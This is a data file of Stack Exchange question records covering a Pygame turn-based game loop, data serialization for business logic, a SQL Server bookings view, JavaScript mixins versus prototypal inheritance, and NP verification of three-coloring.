{  "id": "_codereview.87533"  , "question": "I'm building a game with Pygame, a simple turn-based strategy game where on each turn a character can move and/or perform an action. I have a somewhat good structure for the game on the background, and pygame provides the gui for that. Below is the code of the main file. I think the structure of main.py is quite terrible at the moment. The question is then, how do I alter that (including the main loop) to a better one. Also, what can I do to improve the performance?Here's everything else if you need to take a look at the background logic.def map_to_screen(x,y, offset_x=0, offset_y=0):    screen_x = (x - y) * (tile_w / 2) + offset_x    screen_y = (x + y) * (tile_h / 2) + offset_y    return screen_x, screen_ydef screen_to_map(x,y, offset_x=0, offset_y=0):    x -= ( offset_x + tile_w / 2 )    y -= offset_y    x = x / 2    map_x = (y + x)/(tile_h)    map_y = (y - x)/(tile_h)    if map_x < 0:        map_x -= 1    if map_y < 0:        map_y -= 1        return int(map_x), int(map_y)def square_clicked(screen_x, screen_y):    x = screen_x    y = screen_y    map_x = ( x / (tile_w / 2) + y / (tile_h / 2) ) / 2    map_y = ( y / (tile_h / 2) - (y / (tile_w / 2)) ) / 2    return (map_x, map_y)def load_sprites():    sprites = {}    # For each squaretype, load sprites that are not loaded    for squaretype in m.squaretypes:        if m.squaretypes[squaretype].sprite not in sprites:            sprites[m.squaretypes[squaretype].sprite] = pygame.image.load(m.squaretypes[squaretype].sprite).convert_alpha()            print(Successfully loaded sprite '{:}'.format(m.squaretypes[squaretype].sprite))    # For each object type, load sprites that are not loaded    for object_type in m.object_types:        if m.object_types[object_type].sprite not in sprites:            sprites[m.object_types[object_type].sprite] = pygame.image.load(m.object_types[object_type].sprite).convert_alpha()            print(Successfully loaded sprite '{:}'.format(m.object_types[object_type].sprite))    # For each character, load all sprites that are not already loaded    for character in m.characters:        for sprite in character.stand_sprites:            if character.stand_sprites[sprite] not in sprites:                sprites[character.stand_sprites[sprite]] = pygame.image.load(character.stand_sprites[sprite]).convert_alpha()                print(Successfully loaded sprite '{:}'.format(character.stand_sprites[sprite]))        for sprite_list in character.walk_sprites:            for sprite in character.walk_sprites[sprite_list]:                if sprite not in sprites:                    sprites[sprite] = pygame.image.load(sprite).convert_alpha()                    print(Successfully loaded sprite '{:}'.format(sprite))    return spritesdef render_squares(surface):            surface.fill((0,0,0))    for x in range(m.width):        for y in range(m.height):            square = m.get_square_at(Coordinates(x,y))            screen_x, screen_y = map_to_screen(x,y)            surface.blit(sprites[square.squaretype.sprite], (screen_x + map_offset_x, screen_y))def render_range(surface):    for sq in within_range:        sq_mx, sq_my = sq.location.x, sq.location.y        sq_sx, sq_sy = map_to_screen(sq_mx, sq_my, map_offset_x, map_offset_y)        if selected_action:            if selected_action.type == Action.HEAL:                surface.blit( heal_target_img, (sq_sx, sq_sy) )            else:                surface.blit( action_target_img, (sq_sx, sq_sy) )        else:            surface.blit( selected_img, (sq_sx, sq_sy) )def render_characters_and_objects(surface, walking=None, scr_loc=None, sprite_counter=None):    # collect dirty rects    dirty = []    # For each square on the map, check if there's a character and if yes, draw it. Do this in the order of squares to maintain proper drawing order.    for x in range(m.width):        for y in range(m.height):            square = m.get_square_at(Coordinates(x,y))            character = square.character            # Translate coordinates            screen_x, screen_y = map_to_screen(x,y, map_offset_x, map_offset_y)            if square.character and not square.character.dead:                if character.facing == direction.UP: facing = up                elif character.facing == direction.DOWN: facing = down                elif character.facing == direction.LEFT: facing = left                elif character.facing == direction.RIGHT: facing = right                if character == walking:                    # Draw sprite based on the direction facing                    if character.walk_sprites:                        dirty.append(surface.blit(sprites[character.walk_sprites[facing][sprite_counter]], (scr_loc[0] + character_offset_x, scr_loc[1] + character_offset_y)))                     else:                        dirty.append(surface.blit(sprites[character.stand_sprites[facing]], (scr_loc[0] + character_offset_x, scr_loc[1] + character_offset_y)))                 else:                    dirty.append( surface.blit(sprites[character.stand_sprites[facing]], (screen_x + character_offset_x, screen_y + character_offset_y)) )                    #dirty.append(pygame.Rect(48,48, screen_x+character_offset_x,screen_y+character_offset_y))            elif square.object:                dirty.append( surface.blit(sprites[square.object.type.sprite], (screen_x + square.object.type.offset_x, screen_y + square.object.type.offset_y)) )    return dirtydef render_info_text(surface, text_to_display):    text = font.render(text_to_display, 1, (10, 10, 10))    textpos = text.get_rect()    textpos.move_ip(0,screen_h - 16)    textpos.centerx = screen.get_rect().centerx    bgpos = pygame.Rect(0,0,(screen_w - 128*2 - 14), 28)    bgpos.centerx = textpos.centerx    surface.blit(bottom_bar.subsurface(bgpos), (bgpos.x, screen_h-28))    surface.blit(text, textpos)    return textposdef render_char_info(surface, wanted=None):    if wanted:        if not isinstance(wanted, list):            wanted = [wanted]    else:        wanted = m.characters    count = 0    ai_count = 1    dirty = []    for character in m.characters:        if character in wanted:            if character.has_turn():                char_info_surface = char_info_turn.copy()            elif character.dead:                char_info_surface = char_info_dead.copy()            else:                char_info_surface = char_info.copy()            head_image = pygame.image.load(character.stand_sprites[right]).convert_alpha()            head_image.set_clip(pygame.Rect(0,0, 20,20))            char_info_surface.blit(head_image, (5,5), (8,5,24,24))            text_line_1 = str(character.health) + /            text_line_2 = str(character.max_health)            t1 = font.render(text_line_1, 1, (10,10,10))            t2 = font.render(text_line_2, 1, (10,10,10))            t1_pos = t1.get_rect()            t1_pos.move_ip(0,36)            t1_pos.centerx = char_info_surface.get_rect().centerx            char_info_surface.blit(t1, t1_pos)            t2_pos = t2.get_rect()            t2_pos.move_ip(0,46)            t2_pos.centerx = char_info_surface.get_rect().centerx            char_info_surface.blit(t2, t2_pos)                        if character.ai:                surface.blit(char_info_surface, (screen_w - ai_count * 34 - 5, 7))                dirty.append(pygame.Rect(32,58, screen_w - ai_count * 34 - 5,7))            else:                surface.blit(char_info_surface, (7 + count* 34, 7))                dirty.append(pygame.Rect(32,58, 7+count*34,7))        if character.ai: ai_count += 1        else: count += 1        return dirtydef render_bottom_bar(surface):            #blit background bar    bar = pygame.image.load(graphics/bottom_bar.gif).convert()    for i in range(surface.get_width() // 4):        surface.blit(bar, (i*4, 0))def render_end_turn_button(surface):    if end_turn_button.rect.collidepoint(pygame.mouse.get_pos()):        if pygame.mouse.get_pressed()[0]:            end_turn_button.pushed = True        else:                end_turn_button.hovered = True    else:        end_turn_button.hovered = False        end_turn_button.pushed = False    end_turn_button.render_to(surface)            #return the button for dirty rects and mouse recognition    return end_turn_button.rectdef render_action_menu(surface):    # blit menu bg    actions_menu = pygame.image.load(graphics/actions_menu.gif).convert_alpha()    surface.blit(actions_menu, (7, screen_h - 103))    if selected_character:        use_buttons = []        count = 0        for action in selected_character.actions:            use_button = ui.Button(ui.action_bg, ui.action_bg_hover, ui.action_bg_push, (20, screen_h - 94 + count * 26))            use_buttons.append(use_button)            if use_button.rect.collidepoint(pygame.mouse.get_pos()):                if pygame.mouse.get_pressed()[0]:                    use_button.pushed = True                else:                        use_button.hovered = True            else:                use_button.hovered = False                use_button.pushed = False            use_button.render_to(surface)            text = action.description +  ( + str(action.strength) + )            text = font.render(text, False, (10,10,10))            text_pos = text.get_rect()            text_pos.move_ip(65, screen_h - 84 + count * 26)            surface.blit(text, text_pos)            count += 1        return use_buttons    return []def render_effect_text(surface, count, text_surface):    if text_surface:        scr_loc = map_to_screen(effect_text_loc.x, effect_text_loc.y)        x = scr_loc[0] + 32 - text_surface.get_width()/2 + map_offset_x        y = scr_loc[1] - 40 - count*1 + map_offset_y        location = (x, y)        if count > 10:            opacity = 255 - 12 * count        else:            opacity = 255        #surface.blit(map_surface, (map_offset_x + map_fix_x, map_offset_y))        blit_alpha(surface, text_surface, location, opacity)        count += 1        if count > 20:            count = 0            return count, None    return count, text_surfacedef get_effect_text(action):    if action.type == Action.HEAL:        text = + + str(action.strength)        color = (10, 200, 10)    else:        text = - + str(action.strength)        color = (200, 10, 10)    text_surface = med_font.render(text, False, color)    return text_surfacedef blit_alpha(target, source, location, opacity):    '''Blits opaque element while keeping per pixel alpha in other parts of the surface.'''    x = location[0]    y = location[1]    temp = pygame.Surface((source.get_width(), source.get_height())).convert_alpha()    temp.blit(target, (-x, -y))    temp.blit(source, (0, 0))    temp.set_alpha(opacity)            target.blit(temp, location)def blit_map(surface):    return surface.blit(map_surface, (map_offset_x + map_fix_x, map_offset_y))#Game startspygame.init()clock = pygame.time.Clock()fps = 40#read config from filesr = ConfigReader()f = open('map_config', 'r')map_config = r.read_config(f)f.close()f = open('character_config', 'r')character_config = r.read_config(f)f.close()m = r.build_from_config(map_config, character_config)ai = Ai(m)#set window sizescreen_w = 1280screen_h = 768screen = pygame.display.set_mode((screen_w, screen_h))#initiate fontsfont = pygame.font.Font(fonts/coders_crux.ttf, 14)med_font = pygame.font.Font(fonts/coders_crux.ttf, 16)#load spritesselected_img = pygame.image.load('graphics/selected.gif').convert_alpha()action_target_img = pygame.image.load('graphics/action_selected.gif').convert_alpha()heal_target_img = pygame.image.load('graphics/heal_selected.gif').convert_alpha()char_info = pygame.image.load(graphics/char_info.gif).convert_alpha()char_info_turn = pygame.image.load(graphics/char_info_has_turn.gif).convert_alpha()char_info_dead = pygame.image.load(graphics/char_info_dead.gif).convert_alpha()sprites = load_sprites()#prepare the map and rendering offsetstile_w = 64tile_h = 32map_w = (m.width + m.height) * tile_w / 2map_h = (m.width + m.height) * tile_h / 2 + 8map_offset_x = map_w / 2 - tile_w / 2map_offset_y = 0character_offset_x = 13character_offset_y = -30#create a separate surface for the map and render squares on itmap_surface = pygame.Surface((map_w, map_h))render_squares(map_surface)bottom_menu_rect = pygame.Rect(0, screen_h-128, screen_w, 128)bottom_bar = pygame.Surface((screen_w, 28))render_bottom_bar(bottom_bar)end_turn_button = ui.Button(ui.end_turn_bg, ui.end_turn_bg_hover, ui.end_turn_bg_push, (screen_w - 135, screen_h - 71))#prepare pause menuoptions = [ ui.MenuOption(NEW GAME),            ui.MenuOption(QUIT) ][ option.set_rect(screen, options) for option in options ]#prepare the game loop control variablesdone = Falseselected_character = m.turn_controller.current_characterselected_action = Nonemouse_pos = Nonewithin_range = selected_character.within_range(selected_character.range)   text_to_display = Nonesaved_text = Nonedid_update_already = Falsedid_move_already = Falseeffect_fade_count = 0effect_text = Nonedirty_rects = []refresh_map = Falsewalk = Falseaction = Falsepath_to_move = Falsesquare_clicked = None#Initial renderscreen.fill((0,0,0))#map, the map_fix_x fixes horizontal positioning, and the offsets center the map on the screenmap_fix_x = tile_w / 2 - map_surface.get_rect().w/2map_offset_x += screen_w / 2 - map_w / 2map_offset_y += screen_h / 2 - map_h / 2in_menu = Truepaused = Falseplr_won = False    ai_won = False#milliseconds from last framenew_time, old_time = None, None    #set a wait timer to leave time between AI actionsai_delay = 1000wait_ms = False#start main loopwhile not done:    clock.tick(fps)    dirty_rects = []    did_update_already = False    #recognize winner    plr_characters_alive = 0    ai_characters_alive = 0    for c in m.characters:        if not c.ai and not c.dead:            plr_characters_alive += 1        elif c.ai and not c.dead:            ai_characters_alive += 1    if plr_characters_alive == 0:        ai_won = True        in_menu = True    elif ai_characters_alive == 0:        plr_won = True        in_menu = True    #---------------    # Menu loop    while in_menu:        #draw menu and options            screen.fill((0, 0, 0))        if plr_won or ai_won:            if plr_won:                winner = ui.super_large_font.render(You won!, True, (255,255,255))            else:                winner = ui.super_large_font.render(You lost!, True, (255,255,255))            winner_rect = winner.get_rect()            winner_rect.centerx = screen.get_rect().centerx            winner_rect.y = 20            screen.blit(winner, winner_rect)            #prevent action effect text from showing after pressing new game            effect_text = None        if paused:            resume = ui.large_font.render(Press Esc to resume game., True, (255,255,255))            resume_rect = resume.get_rect()            resume_rect.centerx = screen.get_rect().centerx            resume_rect.y = 20            screen.blit(resume, resume_rect)        for option in options:            if option.rect.collidepoint(pygame.mouse.get_pos()):                option.hover = True            else:                option.hover = False            option.draw()        for event in pygame.event.get():            if event.type == pygame.QUIT:                in_menu = False                done = True            if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE and paused and not (plr_won or ai_won):                paused = False                in_menu = False                refresh_map = True            if event.type == pygame.MOUSEBUTTONUP:                for option in options:                    if option.text == QUIT and option.rect.collidepoint(pygame.mouse.get_pos()):                        in_menu = False                        done = True                    if option.text == NEW GAME and option.rect.collidepoint(pygame.mouse.get_pos()):                        #read config from files                        r = ConfigReader()                        f = open('map_config', 'r')                        map_config = r.read_config(f)                        f.close()                        f = open('character_config', 'r')                        character_config = r.read_config(f)                        f.close()                        m = r.build_from_config(map_config, character_config)                        ai.m = m                        m.turn_controller.reset()                        selected_character = m.turn_controller.current_character                        selected_action = None                        within_range = selected_character.within_range(selected_character.range)                           text_to_display = None                        mouse_pos = None                        in_menu = False                        refresh_map = True        if new_time:            old_time = new_time        new_time = pygame.time.get_ticks()        if new_time and old_time:            pygame.display.set_caption(fps:  + str(int(clock.get_fps())) +  ms:  + str(new_time-old_time))        pygame.display.update()    #------------------    # The actual game    if refresh_map:        screen.fill((0,0,0))        # map, range and characters        dirty_rects.append(blit_map(screen).inflate(20,20))        render_range(screen)        render_characters_and_objects(screen)        # menu elements        screen.blit(bottom_bar, (0, screen_h-28))        if saved_text:            text_to_display = saved_text        render_end_turn_button(screen)        use_buttons = render_action_menu(screen)        render_char_info(screen)        refresh_map = False    # move the map with arrow keys    keys = pygame.key.get_pressed()    if not (map_offset_x + map_fix_x) < (-map_w + tile_w / 2 - (screen_w - map_w)):        if keys[pygame.K_LEFT]:             map_offset_x -= 10            refresh_map = True    if not (map_offset_x + map_fix_x) > (map_w - tile_w / 2 + (screen_w - map_w)):        if keys[pygame.K_RIGHT]:            map_offset_x += 10            refresh_map = True    if not (map_offset_y) < (-map_h + tile_h / 2):        if keys[pygame.K_UP]:            map_offset_y -= 10            refresh_map = True    if not (map_offset_y) > (map_h - tile_h / 2 + (screen_h - map_h)):        if keys[pygame.K_DOWN]:            map_offset_y += 10            refresh_map = True    #Handle mouse and keyboard events    for event in pygame.event.get():        # Quit if window is closed        if event.type == pygame.QUIT:            done = True        # Use Esc to go into pause menu        if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:            in_menu = True            paused = True            continue        # If not in menu        else:            # get mouse position and convert to cartesian coordinates            mouse_pos = pygame.mouse.get_pos()            mx = mouse_pos[0]            my = mouse_pos[1]            # Update buttons if mouse moves in or out            # End button            if ( (end_turn_button.hovered and not end_turn_button.rect.collidepoint((mx,my))) or (not end_turn_button.hovered and end_turn_button.rect.collidepoint((mx,my))) ):                  dirty_rects.append(render_end_turn_button(screen))            else:                # Action buttons                for button in use_buttons:                    if (button.hovered and not button.rect.collidepoint((mx,my))) or (not button.hovered and button.rect.collidepoint((mx,my))):                        use_buttons = render_action_menu(screen)                        for button in use_buttons:                            dirty_rects.append(button.rect)              # Handle mouse clicks            if event.type == pygame.MOUSEBUTTONUP:                # Reset button states                end_turn_button.pushed = False                for use_btn in use_buttons:                    use_btn.pushed = False                # Recognize end turn button                if end_turn_button.rect.collidepoint((mx,my)):                    # get current and next character                    old_character = selected_character                    text_to_display = m.turn_controller.current_character.end_turn()                    selected_character = m.turn_controller.current_character                    # update range with new character                    if not selected_character.ai:                        within_range = selected_character.within_range(selected_character.range)                    else:                        within_range = []                    selected_action = None                    refresh_map = True                    wait_ms = ai_delay                    continue                # recognize action use buttons                else:                    for use_btn in use_buttons:                        if use_btn.rect.collidepoint((mx,my)):                            selected_action = selected_character.actions[use_buttons.index(use_btn)]                            within_range = selected_character.within_range(selected_action.range, for_action = True)                            selected_character.has_moved = True                            refresh_map = True                            break                # Convert clicked coordinates to game map coordinates                # map mouse x = mmx, map mouse y = mmy, i.e. which square on the map was clicked                mouse_pos_map = screen_to_map(mx,my, map_offset_x, map_offset_y)                mmx = mouse_pos_map[0]                mmy = mouse_pos_map[1]                # Handle game events resulting from clicks: set movement or action target square                # if there is a square at the selected coordinates, i.e. if the click was inside the map                if m.get_square_at(Coordinates(mmx, mmy)):                    square_clicked = m.get_square_at(Coordinates(mmx, mmy))                    # if a square outside range was clicked                    if not square_clicked in within_range:                        text_to_display = Not within range.                        continue                    # if square inside range and the character has not moved, set walk target                    elif selected_character.has_turn() and not selected_character.has_moved:                        target_map_loc = Coordinates(mmx, mmy)                        walk = True                    # if an action was selected and the square clicked is in the action range                    elif selected_action and square_clicked in within_range:                        target_map_loc = Coordinates(mmx, mmy)                        action = True    #if AI's turn, get AI movement or action    # get movement if the AI character has not moved    if selected_character.ai and not selected_character.has_moved and not wait_ms:        target_map_loc = ai.get_next_move()        # If gets a target, move, otherwise proceed to action        if target_map_loc:            print(str(selected_character) +  moving to  + str(target_map_loc))            walk = True        else:            selected_character.has_moved = True    # get action if the AI character has moved    elif selected_character.ai and selected_character.has_moved and not wait_ms:        selected_action, target_map_loc = ai.get_action()        # If gets a target, perform the action, else end turn        if target_map_loc:            action = True            print(str(selected_character) +  chose action  + str(selected_action) +  to use on location  + str(target_map_loc))        else:            #update character infos for current character, action target character, and the next turn character            old_character = selected_character            selected_character.end_turn()            selected_character = m.turn_controller.current_character            dirty_rects += render_char_info(screen, [selected_character, old_character])            #clear range            within_range = selected_character.within_range(selected_character.range)            refresh_map = True            continue    #Walk, if a walk target was set    if walk:        # remove range        blit_map(screen)        # set target map coordinates and get the shortest path there        path = selected_character.get_shortest_path(target_map_loc)        # walk the shortest path        for step in path:            # get the current map and screen locations            current_map_loc = selected_character.location            current_scr_loc = map_to_screen(selected_character.location.x, selected_character.location.y, map_offset_x, map_offset_y)            # set the target screen location for the current step            step_scr_target = map_to_screen(step.x, step.y, map_offset_x, map_offset_y)            # determine if the character has walk sprites and prepare the animation            walk_animation = False            if len(selected_character.walk_sprites) > 0:                nr_of_sprites = len(selected_character.walk_sprites)                half_speed = True                frame_counter = 0                sprite_counter = 0                walk_animation = True            # move the character according to the shortest path step            if step.x == current_map_loc.x and step.y < current_map_loc.y:                selected_character.facing = direction.UP                facing = up            elif step.x == current_map_loc.x and step.y > current_map_loc.y:                selected_character.facing = direction.DOWN                facing = down            elif step.x < current_map_loc.x and step.y == current_map_loc.y:                selected_character.facing = direction.LEFT                facing = left            elif step.x > current_map_loc.x and step.y == current_map_loc.y:                selected_character.facing = direction.RIGHT                facing = right            dirty_rects_moving = []            #----------------            # Walk loop            # while the character has not reached the target            while not current_scr_loc == step_scr_target:                clock.tick(0)                map_rect = blit_map(screen)                pygame.event.pump()                # if walk sprites available                if walk_animation:                    # if animation is set to half speed, may look too fast if full speed                    if half_speed and frame_counter % 2 == 0:                        if sprite_counter < nr_of_sprites - 1:                            sprite_counter += 1                        else:                            sprite_counter = 0                    frame_counter += 1                     dirty_rects_moving += render_characters_and_objects(screen, selected_character, current_scr_loc, sprite_counter)                # if no walk sprites or if in target                else:                    dirty_rects_moving += render_characters_and_objects(screen, selected_character, current_scr_loc)                # move the character on screen according to the shortest path step                if facing == up:                    current_scr_loc = (current_scr_loc[0] + 2, current_scr_loc[1] - 1)                elif facing == down:                    current_scr_loc = (current_scr_loc[0] - 2, current_scr_loc[1] + 1)                elif facing == left:                    current_scr_loc = (current_scr_loc[0] - 2, current_scr_loc[1] - 1)                elif facing == right:                    current_scr_loc = (current_scr_loc[0] + 2, current_scr_loc[1] + 1)                # if map goes under the menus                if map_rect.colliderect(bottom_menu_rect):                    screen.blit(bottom_bar, (0, screen_h-28))                    render_end_turn_button(screen)                    use_buttons = render_action_menu(screen)                #display fps and milliseconds between frames                if new_time:                    old_time = new_time                new_time = pygame.time.get_ticks()                if old_time and new_time:                    pygame.display.set_caption(fps:  + str(int(clock.get_fps())) +  ms:  + str(new_time-old_time))                #print([str(r) for r in dirty_rects_moving])                pygame.display.update(dirty_rects_moving)                #did_update_already = True                dirty_rects_moving = []            # walk loop end            #----------------            #move in the background logic            selected_character.move_to_coordinates(step)        # if all steps were successful            else:            blit_map(screen)            dirty_rects += render_characters_and_objects(screen)            pygame.display.update(dirty_rects)        text_to_display = Choose action.        refresh_map = True        path_to_move = False        walk = False        if selected_character.ai:            wait_ms = ai_delay        #did_update_already = True        # don't display range after the character has moved    if selected_character.has_moved and not selected_action:        within_range = []    #If an action target was set    if action:        square = m.get_square_at(target_map_loc)        # set the correct facing direction for the attacking character        if target_map_loc.x == selected_character.location.x and target_map_loc.y < selected_character.location.y:            selected_character.facing = direction.UP        elif target_map_loc.x == selected_character.location.x and target_map_loc.y > selected_character.location.y:            selected_character.facing = direction.DOWN        elif target_map_loc.x < selected_character.location.x and target_map_loc.y == selected_character.location.y:            selected_character.facing = direction.LEFT        elif target_map_loc.x > selected_character.location.x and target_map_loc.y == selected_character.location.y:            selected_character.facing = direction.RIGHT        # perform action        text_to_display = selected_action.perform(target_map_loc)        # display red or green text with action strength above the action target        effect_text_loc = target_map_loc        if square.has_character():            effect_text = get_effect_text(selected_action)        # reset selected action        selected_action = None        action = False        #update character infos for current character, action target character, and the next turn character        old_character = selected_character        selected_character.end_turn()        selected_character = m.turn_controller.current_character        dirty_rects += render_char_info(screen,[square.character, selected_character, old_character])        #clear range        within_range = selected_character.within_range(selected_character.range)        refresh_map = True        if old_character.ai:            wait_ms = ai_delay        #continue    if effect_text:        effect_fade_count, effect_text = render_effect_text(screen, effect_fade_count, effect_text)        # if was not reset        if effect_text:            dirty_rects.append(effect_text.get_rect().inflate(0,2))        refresh_map = True    # skip render if the screen was already updated in an inner loop    if did_update_already:        continue    # if buttons need to be refreshed    if end_turn_button.dirty:        dirty_rects.append(render_end_turn_button(screen))        end_turn_button.dirty = False    for button in use_buttons:        if button.dirty:            render_action_menu(screen)            dirty_rects.append(button.rect)            button.dirty = False            break    if text_to_display:        text_rect = render_info_text(screen, text_to_display)        dirty_rects.append(text_rect)        saved_text = text_to_display        text_to_display = None    # show fps and milliseconds    if new_time:        old_time = new_time    new_time = pygame.time.get_ticks()    if new_time and old_time:        pygame.display.set_caption(fps:  + str(int(clock.get_fps())) +  ms:  + str(new_time-old_time))    #print([str(r) for r in dirty_rects])    pygame.display.update(dirty_rects)    if wait_ms > 0:        wait_ms -= (new_time - old_time)    elif wait_ms <= 0:        wait_ms = Falsepygame.quit()sys.exit()"  , "title": "Discoknights game structure"  , "tags": "python;performance;pygame;adventure game"  } 
{  "id": "_softwareengineering.129505"  , "question": "Going by the general principle of data abstraction, I normally abstract data in a serialized format(JSON) and pass it as a parameter to the Business Logic(BL) modules such that the BL module always see a consistent format of the data irrespective of the underlying data storage layer. Even if I use a ORM, I use the serialized format of that ORM. I feel I have the following advantages.By serializing data, there would be better control over data and parametersAny developer can write BL without thinking too much about the underlying data storageWrappers can be written for new databases (There are a lot of ready-made wrappers to convert data into JSON)Testing could be done ruthlessly and without a database (since the data format is serialized)Functionally easier to understand and better OLAP, OLTP integrationI also notice the following drawbacksA new layer to be added between the database and the BL module (most ORM's nowadays come with a predetermined JSON format)Extra function calls slow down the application (but I think this trade-off is OK when compared to better testing and easy maintenance)Increased level of abstractions may confuse the developerI make the above observations mostly in the context of business applicationsTo follow this discussion, lets have an example so that things could be discussed in its context.Assume a product database having the columns: Product,Rate,Taxes and we need to create a invoiceCode without database abstractionGET rate,taxes for product X from databasemultiply qty with rate and add taxesdisplay invoiceCode with database abstraction  GET rate,taxes for product X from database  Convert it into JSON  call create_invoice function //This does all the calculations  display invoiceIn the second example, I would pass arguments in the form (Product=X, Qty=5, Rate=5, Taxes=0.05). If taxes are to be split into more that one category (State Tax=0.03, Central Tax=0.02) or a discount factor to be added  I would just increase the number of parameters in the BL functions such that the database fields, the JSON keys and the function parameters match (this is done automatically during serialization and most ORM's do it). This makes it easy, in my approach, to extend functions and also make modules independent of data since the modules always know the data they can receive and even if they receive a new parameter, they can adapt it provide the underlying code is intelligent.My general questions areIs this a good pattern and what's it called (Data abstraction comes to my mind)?Pros/Cons of this pattern(apart from those mentioned above) in the context of business application, apps for embedded devices, big dataIs there a difference between this pattern and ORM (I believe so since ORM is mostly a class wrapper to get data from a database while this pattern is more oriented towards data structure)If this is good, can this be easily understood by a new developer?"  , "title": "Data Serialization to process business logic"  , "tags": "design patterns;data structures;abstraction"  , "accepted_answer": "A lot depends on your intention. Data serialization in this manner just to pass on to the business logic of a single application, seems wasteful, when you should be passing a native object from the ORM to the object encapsulating BL which will modify state and return the object to the ORM for persistence.On the other hand, if you have multiple, distributed applications that handle different aspects of of the domain, then wrapping your DB in an API to provide serialized (JSON or XML) data is a good idea. For instance: I have to deal with a rather insane vendor-supplied legacy database in which a major constraint is inability to modify the DB schema other than adding the occasional view. I have this DB (as well as a couple of our other 'enterprise' data stores) wrapped in a REST API. Most of our user-facing applications, as well as daemons that monitor the DB for certain events, communicate with the API. In this way I can have the following workflow:OR/M classes each wrap a single table in the DB. One object == one record.Decorator classes handle presentation, including composition of more complex objects from simple model objects.Controller classes respond to requests with a JSON representation of the object appropriate to the client application.Clent processes data, POSTs or PUTs JSON object back to the APIController requests to save object, which is decomposed back to model objects and persisted by the O/RM.This adds significant complexity.If you have to deal with heterogeneous data stores, distributed applications, etc., this is an excellent solution. But unless you have those requirements, the rule of thumb is You Ain't Gonna Need It."  } 
{  "id": "_codereview.117976"  , "question": "Can this query be improved? Is there a way to eliminate the duplicate function call?-- a Special Group has many Items which have many Bookingscreate function f_BookingsForSpecialGroup(@specialGroupId varchar(99))returns table as    return select * from v_Booking where ITEM_CODE in        (select ITEM_CODE from v_Item i where i.SPECIAL_GROUP_ID = @specialGroupId);gocreate view v_SpecialGroup asselect (NON_BAD_BOOKINGS - PAID_BOOKINGS) as PENDING_BOOKINGS, * from(select    (select count(*) from f_BookingsForSpecialGroup(g.SPECIAL_GROUP_ID) where IS_BAD=0) as NON_BAD_BOOKINGS,    (select count(*) from f_BookingsForSpecialGroup(g.SPECIAL_GROUP_ID) where IS_PAID=1) as PAID_BOOKINGS,    *from SPECIAL_GROUP g) ggoThe view v_SpecialGroup is never queried directly by the application; it is used to build other views which select individual columns as needed. (You can think of v_SpecialGroup as a base view which exists solely to augment the SPECIAL_GROUP table. I have profiled this strategy and it seems that if you don't select the more expensive columns you don't pay for them, but I could be wrong of course...)"  , "title": "Counting pending bookings using a subselect"  , "tags": "sql;sql server"  , "accepted_answer": "It looks to me like the view returns all of the columns from a SPECIAL_GROUP table, along with an additional column counting bookings that are neither is_bad nor is_paid.If so, you could use a common table expression* to simplify the logic a bit:create view v_SpecialGroup aswith bookings_by_group as (    select  i.SPECIAL_GROUP_ID,            count(case when is_bad = 0 then 1 end) as NON_BAD_BOOKINGS,            count(case when is_paid = 1 then 1 end) as PAID_BOOKINGS    from    v_booking b join v_item i on b.ITEM_CODE = i.ITEM_CODE    group by i.SPECIAL_GROUP_ID)select  NON_BAD_BOOKINGS - PAID_BOOKINGS as PENDING_BOOKINGS,        g.*from    bookings_by_group b join SPECIAL_GROUP g on b.SPECIAL_GROUP_ID = g.SPECIAL_GROUP_IDps. It might also be possible to condense the logic further:count(case when is_bad = 0 and is_paid != 1 then 1 end) as PENDING_BOOKINGSit would depend on whether you had any bookings that were both is_bad and is_paid*SQL Server must be >= 2008R2"  } 
{  "id": "_softwareengineering.123342"  , "question": "When should you prefer inheritance patterns over mixins in dynamic languages?By mixins, I mean actual proper mixing in, as in inserting functions and data members into an object in runtime.When would you use, for example, prototypal inheritance instead of mixins? To illustrate more clearly what I mean by mixin, some pseudocode:asCircle(obj) {  obj.radius = 0  obj.area = function() {    return this.radius * this.radius * 3.14  }myObject = {}asCircle(myObject)myObject.area() // -> 0"  , "title": "Inheritance vs mixins in dynamic languages?"  , "tags": "javascript;inheritance;mixins"  , "accepted_answer": "Prototypical inheritance is simple. It has a single advantage over mixins.That is that it's a live link. if you change the prototype everything that inherits it is changed.Example using pdvar Circle = {  constructor: function _constructor() {    this.radius = 0;    return this;  },  area: function _area() {    return this.radius * this.radius * Circle.PI  },  PI: 3.14};var mixedIn = pd.extend({}, Circle).constructor();var inherited = pd.make(Circle, {}).constructor();Circle.perimeter = perimeter;inherited.perimeter(); // winsmixedIn.perimeter(); // failsfunction perimeter() {  return 2 * this.radius;}So basically, if you want changes to the interface Circle to reflect at run-time to all objects that use it's functionality, then inherit from it.If you do not want changes to reflect then mix it in.Note that mixins have more purpose than that as well. Mixins are your mechanism for multiple inheritance.If you want an object to implement multiple interfaces then you will have to mix some in. The one you use for prototypical inheritance is the one you want changes to reflect for at run-time, the others will be mixed in."  } 
{  "id": "_cs.33990"  , "question": "I found the following problem that I am trying to answer:Consider the three color problem where V, vertex set of a bipartite graph. can be partitioned into three subsets such that there is  no edge between verticies of the same subset. Show that this problem is in NP by describing:A polynomial time algorithm for verifying a given graph coloring.  [Hint:Use graph traversal].A nondeterministic polynomial time algorithm for graph coloring.For 1) I attempted to solve this problem using search algorithm like depth-first search/breadth first search. At each vertex, I would check to see if any of adjacent vertices have different color from the current vertex. If not, then graph is not colored correctly. This is worst case O(|e|), linear time. Is this correct ? How can I answer this question ? And how would I do part 2)?"  , "title": "Algorithms for verifying and solving three-coloring"  , "tags": "algorithms;complexity theory;graphs;np"  } 
